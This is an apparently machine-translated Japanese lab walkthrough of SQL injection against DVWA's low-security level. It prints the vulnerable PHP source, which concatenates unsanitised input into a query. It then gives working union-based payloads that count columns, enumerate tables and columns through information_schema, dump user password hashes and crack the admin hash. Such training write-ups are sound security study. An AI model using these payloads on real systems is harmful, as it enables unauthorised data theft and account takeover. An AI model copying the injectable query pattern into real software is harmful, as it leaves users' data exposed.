SQLインジェクション
アイデアの手動注入:
-
注入があるかどうかを判別します(文字タイプまたは数値タイプなど)。
入力パラメーターがID、年齢、ページ番号などの整数の場合、インジェクションの脆弱性があれば、デジタルインジェクションと見なすことができます。
違い:数値型は単一引用符で閉じる必要はありませんが、文字列型は一般的に単一引用符で閉じる必要があります。
-
SQLクエリのフィールド数を推測します(num / union selectで並べ替え)
-
固定表示(一連のフィールドが表示されるかどうかを決定します)
-
バーストライブラリ
-
バーストテーブル
-
バーストフィールド名
-
ダウンロード
dvwa低レベルSQLインジェクション
ソースコード:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
-
入力ボックスに入力します
1
入力ボックスに入力します1'
入力ボックスに入力します1''
文字注入と判断でき、パラメータはID
-
ペイロードを作成する
フィールドを推測してください:
入力して
1' order by 1#
1' order by 2#
入る1' order by 3#
使用可能なフィールドの数は2です
爆発:(共同注入)1' union select database(),user()#
クミングはdvwaとして利用可能
バーストテーブル:-1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#
ユーザーテーブルを選択します
フィールド名:-1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
ダウンロード: -1' union select user,password from users#
利用可能なユーザー名とパスワード(MD5)
-
管理者とその暗号文5f4dcc3b5aa765d61d8327deb882cf99を選択し、パスワードをクラックします
検証:ログイン成功
ps:http://itindex.net/detail/54715-%E8%AE%A4%E8%AF%86-sql-%E7%B1%BB%E5%9E%8B
http://blog.sina.com.cn/s/blog_5c92dd1f0102vjfg.html